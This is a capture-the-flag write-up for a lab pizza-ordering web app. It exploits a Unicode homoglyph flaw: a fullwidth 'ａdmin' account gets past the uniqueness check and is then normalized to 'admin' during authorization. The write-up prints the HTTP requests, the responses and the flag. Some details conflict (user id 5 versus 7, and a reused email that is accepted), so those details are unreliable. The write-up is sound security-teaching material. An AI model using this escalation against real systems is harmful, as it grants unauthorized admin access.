Application Analysis

Register an account and explore the Cheesy Does It storefront. The app is a React SPA backed by a JSON API, with the usual customer features (menu, custom pizza builder, checkout, loyalty points, support tickets) plus an Admin area that ordinary users cannot open.

Mapping the Admin Gate

Send a request to any admin endpoint with a normal account’s token. Every route under /api/admin/* is refused server-side with a 403 and Admin access required, so the gate is enforced on the API, not just hidden in the UI.

GET /api/admin/stats HTTP/1.1
Host: lab-xxxx.labs-app.bugforge.io
Authorization: Bearer <normal-user-jwt>

{ "error": "Admin access required" }

The token itself is a clean HS256 JWT whose payload is only { "id", "username", "iat" }; the role is resolved server-side from the database. alg:none is rejected, the signing secret survives wordlist and mask cracking, and PUT /api/profile / POST /api/register both whitelist the role field. The business-logic bugs elsewhere in the app (coupon/points/refund abuse) are deliberate rabbit holes and never disclose the flag. Admin access is the only way in, so the question becomes: how does the server decide an account is the admin?

The Key Observation: Two Different Username Comparisons

Try to register the username admin directly. It is rejected because the account already exists:

POST /api/register HTTP/1.1
Content-Type: application/json

{"username":"admin","email":"admin@example.com","password":"Admin"}

{ "error": "Username or email already exists" }

So an admin account exists, and uniqueness is enforced on the exact string we send. The insight is that string equality at registration and string equality during authorization do not have to use the same rules. If the authorization layer canonicalizes the username first, we can supply a value that is a different string to the uniqueness check but the same string after canonicalization. Unicode gives us exactly that: many characters collapse to plain ASCII under NFKC normalization.

The character ａ is U+FF41 (FULLWIDTH LATIN SMALL LETTER A), a completely different code point from ASCII a (U+0061), but:

>>> unicodedata.normalize("NFKC", "ａdmin") == "admin"
True

Registering the Homoglyph Account

Register ａdmin (fullwidth a + dmin). To the uniqueness check this is a brand-new byte string, so registration succeeds and hands back a valid JWT:

POST /api/register HTTP/1.1
Content-Type: application/json

{"username":"ａdmin","email":"admin@example.com","password":"Admin","full_name":"Admin","phone":"","address":""}

{
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...",
  "user": { "id": 5, "username": "ａdmin", "email": "admin@example.com" }
}

Confirm what the app thinks this account is with GET /api/verify-token using the new token, it is still just a normal user, id 7, role: user:

{ "user": { "id": 5, "username": "ａdmin", "role": "user", "loyalty_points": 0 } }

This is the tell that the escalation is not about our stored role, it is about how the username string is interpreted when an admin action is authorized.

Retrieving the Flag

Call the admin-only endpoint with the homoglyph account’s token. The authorization layer NFKC-normalizes the JWT’s username claim (ａdmin → admin), matches it to the privileged administrator, and serves the dashboard. The flag is returned in the X-Flag response header:

GET /api/admin/stats HTTP/1.1
Host: lab-xxxx.labs-app.bugforge.io
Authorization: Bearer <ａdmin-jwt>

HTTP/1.1 200 OK
X-Flag: bug{j6iIR8Hxss4xUN61Cc6bwa1cmJSIREWS}

{"total_users":5,"total_orders":0,"total_revenue":0,"orders_today":0,"revenue_today":0}

A 403 for a normal account becomes a 200 for a byte-distinct account whose name merely normalizes to admin, no password, no token forgery, no role tampering.